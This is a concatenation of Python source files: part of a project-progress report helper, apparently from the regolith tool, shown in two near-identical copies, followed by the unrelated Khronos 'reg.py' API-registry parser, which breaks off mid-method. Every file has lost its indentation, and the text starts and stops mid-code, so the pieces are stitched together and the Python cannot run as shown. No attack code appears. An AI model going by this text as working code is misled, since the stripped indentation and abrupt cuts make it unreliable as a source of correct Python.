elif p.get('status') in PROJECTUM_ACTIVE_STATI:
print(f" log_url: {p.get("log_url")}")
if p.get('milestones'):
print(' milestones:')
for m in p.get('milestones'):
print(
f" due: {m.get("due_date")}, {m.get("name")}, type: {m.get("type")}, status: {m.get("status")}")
print(f" objective: {m.get("objective")}")
def sout(self):
rc = self.rc
if rc.filter:
collection = key_value_pair_filter(self.gtx["projecta"], rc.filter)
else:
collection = self.gtx["projecta"]
if not rc.date:
now = datetime.date.today()
else:
now = date_parser.parse(rc.date).date()
# remove checklist prums from the report
collection = [prum for prum in collection if
"checklist" not in prum.get('deliverable', {}).get('scope', [])]
title = f"\nProgress report for {rc.lead}, generated {now.isoformat()}"
print(title)
projecta = [valid_prum for valid_prum in collection if valid_prum.get("lead") == rc.lead]
finishedp, proposedp, startedp, otherp = [], [], [], []
for prum in projecta:
if prum.get('status') == "finished":
finishedp.append(prum)
elif prum.get('status') == "proposed":
proposedp.append(prum)
elif prum.get('status') == "started":
startedp.append(prum)
else:
otherp.append(prum)
print(f"*************************[Orphan Projecta]*************************")
for prum in otherp:
print(f"{prum.get("_id")}, status: {prum.get("status")}")
print(f"*************************[Finished Projecta]*************************")
for prum in finishedp:
print(f"{prum.get("_id")}, grant: {prum.get("grants")}")
print(f" description: {prum.get("description")}")
print(f" finished: {prum.get("end_date")}")
print(f"*************************[Proposed Projecta]*************************")
self.print_projectum(proposedp)
print(f"*************************[In Progress Projecta]*************************")
self.print_projectum(startedp)
| """Helper for listing a summary of finished prums and progress on open prums.
Projecta are small bite-sized project quanta that typically will result in
one manuscript.
"""
from gooey import GooeyParser
import datetime
import dateutil.parser as date_parser
from regolith.helpers.basehelper import SoutHelperBase
from regolith.fsclient import _id_key
from regolith.tools import (
all_docs_from_collection,
get_pi_id,
key_value_pair_filter,
)
from regolith.schemas import PROJECTUM_STATI, PROJECTUM_ACTIVE_STATI, PROJECTUM_FINISHED_STATI
TARGET_COLL = "projecta"
HELPER_TARGET = "l_progress"
def subparser(subpi):
listbox_kwargs = {}
if isinstance(subpi, GooeyParser):
listbox_kwargs['widget'] = 'Listbox'
subpi.add_argument("lead",
help="Generate report for this project lead"
)
subpi.add_argument("-v", "--verbose", action="store_true",
help='increase verbosity of output')
subpi.add_argument("-s", "--stati", nargs="+",
choices=PROJECTUM_STATI,
help=f"Filter projecta for these stati."
f" Default is {*(PROJECTUM_ACTIVE_STATI+PROJECTUM_FINISHED_STATI),}",
default=PROJECTUM_ACTIVE_STATI+PROJECTUM_FINISHED_STATI,
**listbox_kwargs
)
# The --filter and --keys flags should be in every lister
subpi.add_argument("-f", "--filter", nargs="+",
help="Search this collection by giving key element pairs"
)
subpi.add_argument("-k", "--keys", nargs="+", help="Specify what keys to return values from when running "
"--filter. If no argument is given the default is just the id.")
subpi.add_argument("--date", help="date used in testing. Defaults to "
"today's date.")
return subpi
class ProgressReportHelper(SoutHelperBase):
"""Helper for listing upcoming (and past) projectum milestones.
Projecta are small bite-sized project quanta that typically will result in
one manuscript.
"""
# btype must be the same as helper target in helper.py
btype = HELPER_TARGET
needed_colls = [f'{TARGET_COLL}']
def construct_global_ctx(self):
"""Constructs the global context"""
super().construct_global_ctx()
gtx = self.gtx
rc = self.rc
if "groups" in self.needed_colls:
rc.pi_id = get_pi_id(rc)
rc.coll = f"{TARGET_COLL}"
colls = [
sorted(
all_docs_from_collection(rc.client, collname), key=_id_key
)
for collname in self.needed_colls
]
for db, coll in zip(self.needed_colls, colls):
gtx[db] = coll
gtx["all_docs_from_collection"] = all_docs_from_collection
gtx["float"] = float
gtx["str"] = str
gtx["zip"] = zip
def print_projectum(self, selected_projecta):
rc = self.rc
if selected_projecta == []:
return
selected_projecta.sort(key=lambda prum: prum.get('begin_date'),
reverse=True)
for p in selected_projecta:
if rc.verbose:
print(f"{p.get('_id')}")
if p.get("deliverable"):
print(
f" status: {p.get('status')}, begin_date: {p.get('begin_date')}, due_date: {p.get('deliverable').get('due_date')}")
if p.get('status') == 'finished':
print(f" finished: {p.get('end_date')}")
print(f" description: {p.get('description')}")
print(f" log_url: {p.get('log_url')}")
print(" team:")
grp_members = None
if p.get('group_members'):
grp_members = ', '.join(p.get('group_members'))
collaborators = None
if p.get('collaborators'):
collaborators = ', '.join(p.get('collaborators'))
print(f" group_members: {grp_members}")
print(f" collaborators: {collaborators}")
d = p.get('deliverable')
print(" deliverable:")
audience = None
if d.get('audience'):
audience = ', '.join(d.get('audience'))
print(f" audience: {audience}")
iter, title = 1, "scope:"
for scopum in d.get('scope', ["no scope"]):
print(f" {title} {str(iter)}. {scopum}")
iter += 1
title = " "
print(f" platform: {d.get('platform')}")
print(" milestones:")
for m in p.get('milestones'):
print(f" {m.get('due_date')}: {m.get('name')}")
print(f" objective: {m.get('objective')}")
print(f" status: {m.get('status')}")
else:
print(f"{p.get('_id')}")
if p.get("deliverable"):
print(
f" status: {p.get('status')}, begin_date: {p.get('begin_date')}, due_date: {p.get('deliverable').get('due_date')}")
print(f" description: {p.get('description')}")
if p.get('status') == 'finished':
print(f" finished: {p.get('end_date')}")
elif p.get('status') in PROJECTUM_ACTIVE_STATI:
print(f" log_url: {p.get('log_url')}")
if p.get('milestones'):
print(' milestones:')
for m in p.get('milestones'):
print(
f" due: {m.get('due_date')}, {m.get('name')}, type: {m.get('type')}, status: {m.get('status')}")
print(f" objective: {m.get('objective')}")
def sout(self):
rc = self.rc
if rc.filter:
collection = key_value_pair_filter(self.gtx["projecta"], rc.filter)
else:
collection = self.gtx["projecta"]
if not rc.date:
now = datetime.date.today()
else:
now = date_parser.parse(rc.date).date()
# remove checklist prums from the report
collection = [prum for prum in collection if
"checklist" not in prum.get('deliverable', {}).get('scope', [])]
title = f"\nProgress report for {rc.lead}, generated {now.isoformat()}"
print(title)
projecta = [valid_prum for valid_prum in collection if valid_prum.get("lead") == rc.lead]
finishedp, proposedp, startedp, otherp = [], [], [], []
for prum in projecta:
if prum.get('status') == "finished":
finishedp.append(prum)
elif prum.get('status') == "proposed":
proposedp.append(prum)
elif prum.get('status') == "started":
startedp.append(prum)
else:
otherp.append(prum)
print(f"*************************[Orphan Projecta]*************************")
for prum in otherp:
print(f"{prum.get('_id')}, status: {prum.get('status')}")
print(f"*************************[Finished Projecta]*************************")
for prum in finishedp:
print(f"{prum.get('_id')}, grant: {prum.get('grants')}")
print(f" description: {prum.get('description')}")
print(f" finished: {prum.get('end_date')}")
print(f"*************************[Proposed Projecta]*************************")
self.print_projectum(proposedp)
print(f"*************************[In Progress Projecta]*************************")
self.print_projectum(startedp)
|
#!/usr/bin/python3 -i
#
# Copyright 2013-2022 The Khronos Group Inc.
#
# SPDX-License-Identifier: Apache-2.0
"""Types and classes for manipulating an API registry."""
import copy
import re
import sys
import xml.etree.ElementTree as etree
from collections import defaultdict, deque, namedtuple
from generator import OutputGenerator, GeneratorOptions, write
from apiconventions import APIConventions
def apiNameMatch(str, supported):
"""Return whether a required api name matches a pattern specified for an
XML <feature> 'api' attribute or <extension> 'supported' attribute.
- str - API name such as 'vulkan' or 'openxr'. May be None, in which
case it never matches (this should not happen).
- supported - comma-separated list of XML API names. May be None, in
which case str always matches (this is the usual case)."""
if str is not None:
return supported is None or str in supported.split(',')
# Fallthrough case - either str is None or the test failed
return False
def matchAPIProfile(api, profile, elem):
"""Return whether an API and profile
being generated matches an element's profile
- api - string naming the API to match
- profile - string naming the profile to match
- elem - Element which (may) have 'api' and 'profile'
attributes to match to.
If a tag is not present in the Element, the corresponding API
or profile always matches.
Otherwise, the tag must exactly match the API or profile.
Thus, if 'profile' = core:
- `<remove>` with no attribute will match
- `<remove profile="core">` will match
- `<remove profile="compatibility">` will not match
Possible match conditions:
```
Requested Element
Profile Profile
--------- --------
None None Always matches
'string' None Always matches
None 'string' Does not match. Cannot generate multiple APIs
or profiles, so if an API/profile constraint
is present, it must be asked for explicitly.
'string' 'string' Strings must match
```
** In the future, we will allow regexes for the attributes,
not just strings, so that `api="^(gl|gles2)"` will match. Even
this is not really quite enough, we might prefer something
like `"gl(core)|gles1(common-lite)"`."""
# Match 'api', if present
elem_api = elem.get('api')
if elem_api:
if api is None:
raise UserWarning("No API requested, but 'api' attribute is present with value '"
+ elem_api + "'")
elif api != elem_api:
# Requested API does not match attribute
return False
elem_profile = elem.get('profile')
if elem_profile:
if profile is None:
raise UserWarning("No profile requested, but 'profile' attribute is present with value '"
+ elem_profile + "'")
elif profile != elem_profile:
# Requested profile does not match attribute
return False
return True
def stripNonmatchingAPIs(tree, apiName, actuallyDelete = True):
"""Remove tree Elements with 'api' attributes matching apiName.
tree - Element at the root of the hierarchy to strip. Only its
children can actually be removed, not the tree itself.
apiName - string which much match a command-separated component of
the 'api' attribute.
actuallyDelete - only delete matching elements if True."""
stack = deque()
stack.append(tree)
while len(stack) > 0:
parent = stack.pop()
for child in parent.findall('*'):
api = child.get('api')
if apiNameMatch(apiName, api):
# Add child to the queue
stack.append(child)
elif not apiNameMatch(apiName, api):
# Child does not match requested api. Remove it.
if actuallyDelete:
parent.remove(child)
class BaseInfo:
"""Base class for information about a registry feature
(type/group/enum/command/API/extension).
Represents the state of a registry feature, used during API generation.
"""
def __init__(self, elem):
self.required = False
"""should this feature be defined during header generation
(has it been removed by a profile or version)?"""
self.declared = False
"has this feature been defined already?"
self.elem = elem
"etree Element for this feature"
def resetState(self):
"""Reset required/declared to initial values. Used
prior to generating a new API interface."""
self.required = False
self.declared = False
def compareKeys(self, info, key, required = False):
"""Return True if self.elem and info.elem have the same attribute
value for key.
If 'required' is not True, also returns True if neither element
has an attribute value for key."""
if required and key not in self.elem.keys():
return False
return self.elem.get(key) == info.elem.get(key)
def compareElem(self, info, infoName):
"""Return True if self.elem and info.elem have the same definition.
info - the other object
infoName - 'type' / 'group' / 'enum' / 'command' / 'feature' /
'extension'"""
if infoName == 'enum':
if self.compareKeys(info, 'extends'):
# Either both extend the same type, or no type
if (self.compareKeys(info, 'value', required = True) or
self.compareKeys(info, 'bitpos', required = True)):
# If both specify the same value or bit position,
# they are equal
return True
elif (self.compareKeys(info, 'extnumber') and
self.compareKeys(info, 'offset') and
self.compareKeys(info, 'dir')):
# If both specify the same relative offset, they are equal
return True
elif (self.compareKeys(info, 'alias')):
# If both are aliases of the same value
return True
else:
return False
else:
# The same enum cannot extend two different types
return False
else:
# Non-<enum>s should never be redefined
return False
class TypeInfo(BaseInfo):
"""Registry information about a type. No additional state
beyond BaseInfo is required."""
def __init__(self, elem):
BaseInfo.__init__(self, elem)
self.additionalValidity = []
self.removedValidity = []
def getMembers(self):
"""Get a collection of all member elements for this type, if any."""
return self.elem.findall('member')
def resetState(self):
BaseInfo.resetState(self)
self.additionalValidity = []
self.removedValidity = []
class GroupInfo(BaseInfo):
"""Registry information about a group of related enums
in an <enums> block, generally corresponding to a C "enum" type."""
def __init__(self, elem):
BaseInfo.__init__(self, elem)
class EnumInfo(BaseInfo):
"""Registry information about an enum"""
def __init__(self, elem):
BaseInfo.__init__(self, elem)
self.type = elem.get('type')
"""numeric type of the value of the <enum> tag
( '' for GLint, 'u' for GLuint, 'ull' for GLuint64 )"""
if self.type is None:
self.type = ''
class CmdInfo(BaseInfo):
"""Registry information about a command"""
def __init__(self, elem):
BaseInfo.__init__(self, elem)
self.additionalValidity = []
self.removedValidity = []
def getParams(self):
"""Get a collection of all param elements for this command, if any."""
return self.elem.findall('param')
def resetState(self):
BaseInfo.resetState(self)
self.additionalValidity = []
self.removedValidity = []
class FeatureInfo(BaseInfo):
"""Registry information about an API <feature>
or <extension>."""
def __init__(self, elem):
BaseInfo.__init__(self, elem)
self.name = elem.get('name')
"feature name string (e.g. 'VK_KHR_surface')"
self.emit = False
"has this feature been defined already?"
self.sortorder = int(elem.get('sortorder', 0))
"""explicit numeric sort key within feature and extension groups.
Defaults to 0."""
# Determine element category (vendor). Only works
# for <extension> elements.
if elem.tag == 'feature':
# Element category (vendor) is meaningless for <feature>
self.category = 'VERSION'
"""category, e.g. VERSION or khr/vendor tag"""
self.version = elem.get('name')
"""feature name string"""
self.versionNumber = elem.get('number')
"""versionNumber - API version number, taken from the 'number'
attribute of <feature>. Extensions do not have API version
numbers and are assigned number 0."""
self.number = "0"
self.supported = None
else:
# Extract vendor portion of <APIprefix>_<vendor>_<name>
self.category = self.name.split('_', 2)[1]
self.version = "0"
self.versionNumber = "0"
self.number = elem.get('number')
"""extension number, used for ordering and for assigning
enumerant offsets. <feature> features do not have extension
numbers and are assigned number 0."""
# If there is no 'number' attribute, use 0, so sorting works
if self.number is None:
self.number = 0
self.supported = elem.get('supported')
class SpirvInfo(BaseInfo):
"""Registry information about an API <spirvextensions>
or <spirvcapability>."""
def __init__(self, elem):
BaseInfo.__init__(self, elem)
class FormatInfo(BaseInfo):
"""Registry information about an API <format>."""
def __init__(self, elem):
BaseInfo.__init__(self, elem)
class Registry:
"""Object representing an API registry, loaded from an XML file."""
def __init__(self, gen=None, genOpts=None):
if gen is None:
# If not specified, give a default object so messaging will work
self.gen = OutputGenerator()
else:
self.gen = gen
"Output generator used to write headers / messages"
if genOpts is None:
# If no generator is provided, we may still need the XML API name
# (for example, in genRef.py).
self.genOpts = GeneratorOptions(apiname = APIConventions().xml_api_name)
else:
self.genOpts = genOpts
"Options controlling features to write and how to format them"
self.gen.registry = self
self.gen.genOpts = self.genOpts
self.gen.genOpts.registry = self
self.tree = None
"ElementTree containing the root `<registry>`"
self.typedict = {}
"dictionary of TypeInfo objects keyed by type name"
self.groupdict = {}
"dictionary of GroupInfo objects keyed by group name"
self.enumdict = {}
"dictionary of EnumInfo objects keyed by enum name"
self.cmddict = {}
"dictionary of CmdInfo objects keyed by command name"
self.apidict = {}
"dictionary of FeatureInfo objects for `<feature>` elements keyed by API name"
self.extensions = []
"list of `<extension>` Elements"
self.extdict = {}
"dictionary of FeatureInfo objects for `<extension>` elements keyed by extension name"
self.spirvextdict = {}
"dictionary of FeatureInfo objects for `<spirvextension>` elements keyed by spirv extension name"
self.spirvcapdict = {}
"dictionary of FeatureInfo objects for `<spirvcapability>` elements keyed by spirv capability name"
self.formatsdict = {}
"dictionary of FeatureInfo objects for `<format>` elements keyed by VkFormat name"
self.emitFeatures = False
"""True to actually emit features for a version / extension,
or False to just treat them as emitted"""
self.breakPat = None
"regexp pattern to break on when generating names"
# self.breakPat = re.compile('VkFenceImportFlagBits.*')
self.requiredextensions = [] # Hack - can remove it after validity generator goes away
# ** Global types for automatic source generation **
# Length Member data
self.commandextensiontuple = namedtuple('commandextensiontuple',
['command', # The name of the command being modified
'value', # The value to append to the command
'extension']) # The name of the extension that added it
self.validextensionstructs = defaultdict(list)
self.commandextensionsuccesses = []
self.commandextensionerrors = []
self.filename = None
def loadElementTree(self, tree):
"""Load ElementTree into a Registry object and parse it."""
self.tree = tree
self.parseTree()
def loadFile(self, file):
"""Load an API registry XML file into a Registry object and parse it"""
self.filename = file
self.tree = etree.parse(file)
self.parseTree()
def setGenerator(self, gen):
"""Specify output generator object.
`None` restores the default generator."""
self.gen = gen
self.gen.setRegistry(self)
def addElementInfo(self, elem, info, infoName, dictionary):
"""Add information about an element to the corresponding dictionary.
Intended for internal use only.
- elem - `<type>`/`<enums>`/`<enum>`/`<command>`/`<feature>`/`<extension>`/`<spirvextension>`/`<spirvcapability>`/`<format>` Element
- info - corresponding {Type|Group|Enum|Cmd|Feature|Spirv}Info object
- infoName - 'type' / 'group' / 'enum' / 'command' / 'feature' / 'extension' / 'spirvextension' / 'spirvcapability' / 'format'
- dictionary - self.{type|group|enum|cmd|api|ext|format|spirvext|spirvcap}dict
The dictionary key is the element 'name' attribute."""
# self.gen.logMsg('diag', 'Adding ElementInfo.required =',
# info.required, 'name =', elem.get('name'))
key = elem.get('name')
if key in dictionary:
if not dictionary[key].compareElem(info, infoName):
self.gen.logMsg('warn', 'Attempt to redefine', key,
'(this should not happen)')
else:
dictionary[key] = info
def lookupElementInfo(self, fname, dictionary):
"""Find a {Type|Enum|Cmd}Info object by name.
Intended for internal use only.
If an object qualified by API name exists, use that.
- fname - name of type / enum / command
- dictionary - self.{type|enum|cmd}dict"""
key = (fname, self.genOpts.apiname)
if key in dictionary:
# self.gen.logMsg('diag', 'Found API-specific element for feature', fname)
return dictionary[key]
if fname in dictionary:
# self.gen.logMsg('diag', 'Found generic element for feature', fname)
return dictionary[fname]
return None
def breakOnName(self, regexp):
"""Specify a feature name regexp to break on when generating features."""
self.breakPat = re.compile(regexp)
def parseTree(self):
"""Parse the registry Element, once created"""
# This must be the Element for the root <registry>
self.reg = self.tree.getroot()
# Preprocess the tree by removing all elements with non-matching
# 'api' attributes by breadth-first tree traversal.
# This is a blunt hammer, but eliminates the need to track and test
# the apis deeper in processing to select the correct elements and
# avoid duplicates.
# Schema validation should prevent duplicate elements with
# overlapping api attributes, or where one element has an api
# attribute and the other does not.
stripNonmatchingAPIs(self.reg, self.genOpts.apiname, actuallyDelete = True)
# Create dictionary of registry types from toplevel <types> tags
# and add 'name' attribute to each <type> tag (where missing)
# based on its <name> element.
#
# There is usually one <types> block; more are OK
# Required <type> attributes: 'name' or nested <name> tag contents
self.typedict = {}
for type_elem in self.reg.findall('types/type'):
# If the <type> does not already have a 'name' attribute, set
# it from contents of its <name> tag.
if type_elem.get('name') is None:
type_elem.set('name', type_elem.find('name').text)
self.addElementInfo(type_elem, TypeInfo(type_elem), 'type', self.typedict)
# Create dictionary of registry enum groups from <enums> tags.
#
# Required <enums> attributes: 'name'. If no name is given, one is
# generated, but that group cannot be identified and turned into an
# enum type definition - it is just a container for <enum> tags.
self.groupdict = {}
for group in self.reg.findall('enums'):
self.addElementInfo(group, GroupInfo(group), 'group', self.groupdict)
# Create dictionary of registry enums from <enum> tags
#
# <enums> tags usually define different namespaces for the values
# defined in those tags, but the actual names all share the
# same dictionary.
# Required <enum> attributes: 'name', 'value'
# For containing <enums> which have type="enum" or type="bitmask",
# tag all contained <enum>s are required. This is a stopgap until
# a better scheme for tagging core and extension enums is created.
self.enumdict = {}
for enums in self.reg.findall('enums'):
required = (enums.get('type') is not None)
for enum in enums.findall('enum'):
enumInfo = EnumInfo(enum)
enumInfo.required = required
self.addElementInfo(enum, enumInfo, 'enum', self.enumdict)
# Create dictionary of registry commands from <command> tags
# and add 'name' attribute to each <command> tag (where missing)
# based on its <proto><name> element.
#
# There is usually only one <commands> block; more are OK.
# Required <command> attributes: 'name' or <proto><name> tag contents
self.cmddict = {}
# List of commands which alias others. Contains
# [ aliasName, element ]
# for each alias
cmdAlias = []
for cmd in self.reg.findall('commands/command'):
# If the <command> does not already have a 'name' attribute, set
# it from contents of its <proto><name> tag.
name = cmd.get('name')
if name is None:
name = cmd.set('name', cmd.find('proto/name').text)
ci = CmdInfo(cmd)
self.addElementInfo(cmd, ci, 'command', self.cmddict)
alias = cmd.get('alias')
if alias:
cmdAlias.append([name, alias, cmd])
# Now loop over aliases, injecting a copy of the aliased command's
# Element with the aliased prototype name replaced with the command
# name - if it exists.
for (name, alias, cmd) in cmdAlias:
if alias in self.cmddict:
aliasInfo = self.cmddict[alias]
cmdElem = copy.deepcopy(aliasInfo.elem)
cmdElem.find('proto/name').text = name
cmdElem.set('name', name)
cmdElem.set('alias', alias)
ci = CmdInfo(cmdElem)
# Replace the dictionary entry for the CmdInfo element
self.cmddict[name] = ci
# @ newString = etree.tostring(base, encoding="unicode").replace(aliasValue, aliasName)
# @elem.append(etree.fromstring(replacement))
else:
self.gen.logMsg('warn', 'No matching <command> found for command',
cmd.get('name'), 'alias', alias)
# Create dictionaries of API and extension interfaces
# from toplevel <api> and <extension> tags.
self.apidict = {}
for feature in self.reg.findall('feature'):
featureInfo = FeatureInfo(feature)
self.addElementInfo(feature, featureInfo, 'feature', self.apidict)
# Add additional enums defined only in <feature> tags
# to the corresponding enumerated type.
# When seen here, the <enum> element, processed to contain the
# numeric enum value, is added to the corresponding <enums>
# element, as well as adding to the enum dictionary. It is no
# longer removed from the <require> element it is introduced in.
# Instead, generateRequiredInterface ignores <enum> elements
# that extend enumerated types.
#
# For <enum> tags which are actually just constants, if there is
# no 'extends' tag but there is a 'value' or 'bitpos' tag, just
# add an EnumInfo record to the dictionary. That works because
# output generation of constants is purely dependency-based, and
# does not need to iterate through the XML tags.
for elem in feature.findall('require'):
for enum in elem.findall('enum'):
addEnumInfo = False
groupName = enum.get('extends')
if groupName is not None:
# self.gen.logMsg('diag', 'Found extension enum',
# enum.get('name'))
# Add version number attribute to the <enum> element
enum.set('version', featureInfo.version)
# Look up the GroupInfo with matching groupName
if groupName in self.groupdict:
# self.gen.logMsg('diag', 'Matching group',
# groupName, 'found, adding element...')
gi = self.groupdict[groupName]
gi.elem.append(copy.deepcopy(enum))
else:
self.gen.logMsg('warn', 'NO matching group',
groupName, 'for enum', enum.get('name'), 'found.')
addEnumInfo = True
elif enum.get('value') or enum.get('bitpos') or enum.get('alias'):
# self.gen.logMsg('diag', 'Adding extension constant "enum"',
# enum.get('name'))
addEnumInfo = True
if addEnumInfo:
enumInfo = EnumInfo(enum)
self.addElementInfo(enum, enumInfo, 'enum', self.enumdict)
self.extensions = self.reg.findall('extensions/extension')
self.extdict = {}
for feature in self.extensions:
featureInfo = FeatureInfo(feature)
self.addElementInfo(feature, featureInfo, 'extension', self.extdict)
# Add additional enums defined only in <extension> tags
# to the corresponding core type.
# Algorithm matches that of enums in a "feature" tag as above.
#
# This code also adds a 'extnumber' attribute containing the
# extension number, used for enumerant value calculation.
for elem in feature.findall('require'):
for enum in elem.findall('enum'):
addEnumInfo = False
groupName = enum.get('extends')
if groupName is not None:
# self.gen.logMsg('diag', 'Found extension enum',
# enum.get('name'))
# Add <extension> block's extension number attribute to
# the <enum> element unless specified explicitly, such
# as when redefining an enum in another extension.
extnumber = enum.get('extnumber')
if not extnumber:
enum.set('extnumber', featureInfo.number)
enum.set('extname', featureInfo.name)
enum.set('supported', featureInfo.supported)
# Look up the GroupInfo with matching groupName
if groupName in self.groupdict:
# self.gen.logMsg('diag', 'Matching group',
# groupName, 'found, adding element...')
gi = self.groupdict[groupName]
gi.elem.append(copy.deepcopy(enum))
else:
self.gen.logMsg('warn', 'NO matching group',
groupName, 'for enum', enum.get('name'), 'found.')
addEnumInfo = True
elif enum.get('value') or enum.get('bitpos') or enum.get('alias'):
# self.gen.logMsg('diag', 'Adding extension constant "enum"',
# enum.get('name'))
addEnumInfo = True
if addEnumInfo:
enumInfo = EnumInfo(enum)
self.addElementInfo(enum, enumInfo, 'enum', self.enumdict)
# Construct a "validextensionstructs" list for parent structures
# based on "structextends" tags in child structures
disabled_types = []
for disabled_ext in self.reg.findall('extensions/extension[@supported="disabled"]'):
for type_elem in disabled_ext.findall("*/type"):
disabled_types.append(type_elem.get('name'))
for type_elem in self.reg.findall('types/type'):
if type_elem.get('name') not in disabled_types:
parentStructs = type_elem.get('structextends')
if parentStructs is not None:
for parent in parentStructs.split(','):
# self.gen.logMsg('diag', type.get('name'), 'extends', parent)
self.validextensionstructs[parent].append(type_elem.get('name'))
# Sort the lists so they do not depend on the XML order
for parent in self.validextensionstructs:
self.validextensionstructs[parent].sort()
# Parse out all spirv tags in dictionaries
# Use addElementInfo to catch duplicates
for spirv in self.reg.findall('spirvextensions/spirvextension'):
spirvInfo = SpirvInfo(spirv)
self.addElementInfo(spirv, spirvInfo, 'spirvextension', self.spirvextdict)
for spirv in self.reg.findall('spirvcapabilities/spirvcapability'):
spirvInfo = SpirvInfo(spirv)
self.addElementInfo(spirv, spirvInfo, 'spirvcapability', self.spirvcapdict)
for format in self.reg.findall('formats/format'):
formatInfo = FormatInfo(format)
self.addElementInfo(format, formatInfo, 'format', self.formatsdict)
def dumpReg(self, maxlen=120, filehandle=sys.stdout):
"""Dump all the dictionaries constructed from the Registry object.
Diagnostic to dump the dictionaries to specified file handle (default stdout).
Truncates type / enum / command elements to maxlen characters (default 120)"""
write('***************************************', file=filehandle)
write(' ** Dumping Registry contents **', file=filehandle)
write('***************************************', file=filehandle)
write('// Types', file=filehandle)
for name in self.typedict:
tobj = self.typedict[name]
write(' Type', name, '->', etree.tostring(tobj.elem)[0:maxlen], file=filehandle)
write('// Groups', file=filehandle)
for name in self.groupdict:
gobj = self.groupdict[name]
write(' Group', name, '->', etree.tostring(gobj.elem)[0:maxlen], file=filehandle)
write('// Enums', file=filehandle)
for name in self.enumdict:
eobj = self.enumdict[name]
write(' Enum', name, '->', etree.tostring(eobj.elem)[0:maxlen], file=filehandle)
write('// Commands', file=filehandle)
for name in self.cmddict:
cobj = self.cmddict[name]
write(' Command', name, '->', etree.tostring(cobj.elem)[0:maxlen], file=filehandle)
write('// APIs', file=filehandle)
for key in self.apidict:
write(' API Version ', key, '->',
etree.tostring(self.apidict[key].elem)[0:maxlen], file=filehandle)
write('// Extensions', file=filehandle)
for key in self.extdict:
write(' Extension', key, '->',
etree.tostring(self.extdict[key].elem)[0:maxlen], file=filehandle)
write('// SPIR-V', file=filehandle)
for key in self.spirvextdict:
write(' SPIR-V Extension', key, '->',
etree.tostring(self.spirvextdict[key].elem)[0:maxlen], file=filehandle)
for key in self.spirvcapdict:
write(' SPIR-V Capability', key, '->',
etree.tostring(self.spirvcapdict[key].elem)[0:maxlen], file=filehandle)
write('// VkFormat', file=filehandle)
for key in self.formatsdict:
write(' VkFormat', key, '->',
etree.tostring(self.formatsdict[key].elem)[0:maxlen], file=filehandle)
def markTypeRequired(self, typename, required):
"""Require (along with its dependencies) or remove (but not its dependencies) a type.
- typename - name of type
- required - boolean (to tag features as required or not)
"""
self.gen.logMsg('diag', 'tagging type:', typename, '-> required =', required)
# Get TypeInfo object for <type> tag corresponding to typename
typeinfo = self.lookupElementInfo(typename, self.typedict)
if typeinfo is not None:
if required:
# Tag type dependencies in 'alias' and 'required' attributes as
# required. This does not un-tag dependencies in a <remove>
# tag. See comments in markRequired() below for the reason.
for attrib_name in ['requires', 'alias']:
depname = typeinfo.elem.get(attrib_name)
if depname:
self.gen.logMsg('diag', 'Generating dependent type',
depname, 'for', attrib_name, 'type', typename)
# Do not recurse on self-referential structures.
if typename != depname:
self.markTypeRequired(depname, required)
else:
self.gen.logMsg('diag', 'type', typename, 'is self-referential')
# Tag types used in defining this type (e.g. in nested
# <type> tags)
# Look for <type> in entire <command> tree,
# not just immediate children
for subtype in typeinfo.elem.findall('.//type'):
self.gen.logMsg('diag', 'markRequired: type requires dependent <type>', subtype.text)
if typename != subtype.text:
self.markTypeRequired(subtype.text, required)
else:
self.gen.logMsg('diag', 'type', typename, 'is self-referential')
# Tag enums used in defining this type, for example in
# <member><name>member</name>[<enum>MEMBER_SIZE</enum>]</member>
for subenum in typeinfo.elem.findall('.//enum'):
self.gen.logMsg('diag', 'markRequired: type requires dependent <enum>', subenum.text)
self.markEnumRequired(subenum.text, required)
# Tag type dependency in 'bitvalues' attributes as
# required. This ensures that the bit values for a flag
# are emitted
depType = typeinfo.elem.get('bitvalues')
if depType:
self.gen.logMsg('diag', 'Generating bitflag type',
depType, 'for type', typename)
self.markTypeRequired(depType, required)
group = self.lookupElementInfo(depType, self.groupdict)
if group is not None:
group.flagType = typeinfo
typeinfo.required = required
elif '.h' not in typename:
self.gen.logMsg('warn', 'type:', typename, 'IS NOT DEFINED')
def markEnumRequired(self, enumname, required):
"""Mark an enum as required or not.
- enumname - name of enum
- required - boolean (to tag features as required or not)"""
self.gen.logMsg('diag', 'markEnumRequired: tagging enum:', enumname, '-> required =', required)
enum = self.lookupElementInfo(enumname, self.enumdict)
if enum is not None:
# If the enum is part of a group, and is being removed, then
# look it up in that <enums> tag and remove the Element there,
# so that it is not visible to generators (which traverse the
# <enums> tag elements rather than using the dictionaries).
if not required:
groupName = enum.elem.get('extends')
if groupName is not None:
self.gen.logMsg('diag', f'markEnumRequired: Removing extending enum {enum.elem.get('name')}')
# Look up the Info with matching groupName
if groupName in self.groupdict:
gi = self.groupdict[groupName]
gienum = gi.elem.find("enum[@name='" + enumname + "']")
if gienum is not None:
# Remove copy of this enum from the group
gi.elem.remove(gienum)
else:
self.gen.logMsg('warn', 'markEnumRequired: Cannot remove enum',
enumname, 'not found in group',
groupName)
else:
self.gen.logMsg('warn', 'markEnumRequired: Cannot remove enum',
enumname, 'from nonexistent group',
groupName)
else:
# This enum is not an extending enum.
# The XML tree must be searched for all <enums> that
# might have it, so we know the parent to delete from.
enumName = enum.elem.get('name')
self.gen.logMsg('diag', f'markEnumRequired: Removing non-extending enum {enumName}')
count = 0
for enums in self.reg.findall('enums'):
for thisEnum in enums.findall('enum'):
if thisEnum.get('name') == enumName:
# Actually remove it
count = count + 1
enums.remove(thisEnum)
if count == 0:
self.gen.logMsg('warn', f'markEnumRequired: {enumName}) not found in any <enums> tag')
enum.required = required
# Tag enum dependencies in 'alias' attribute as required
depname = enum.elem.get('alias')
if depname:
self.gen.logMsg('diag', 'markEnumRequired: Generating dependent enum',
depname, 'for alias', enumname, 'required =', enum.required)
self.markEnumRequired(depname, required)
else:
self.gen.logMsg('warn', f'markEnumRequired: {enumname} IS NOT DEFINED')
def markCmdRequired(self, cmdname, required):
"""Mark a command as required or not.
- cmdname - name of command
- required - boolean (to tag features as required or not)"""
self.gen.logMsg('diag', 'tagging command:', cmdname, '-> required =', required)
cmd = self.lookupElementInfo(cmdname, self.cmddict)
if cmd is not None:
cmd.required = required
# Tag command dependencies in 'alias' attribute as required
#
# This is usually not done, because command 'aliases' are not
# actual C language aliases like type and enum aliases. Instead
# they are just duplicates of the function signature of the
# alias. This means that there is no dependency of a command
# alias on what it aliases. One exception is validity includes,
# where the spec markup needs the promoted-to validity include
# even if only the promoted-from command is being built.
if self.genOpts.requireCommandAliases:
depname = cmd.elem.get('alias')
if depname:
self.gen.logMsg('diag', 'Generating dependent command',
depname, 'for alias', cmdname)
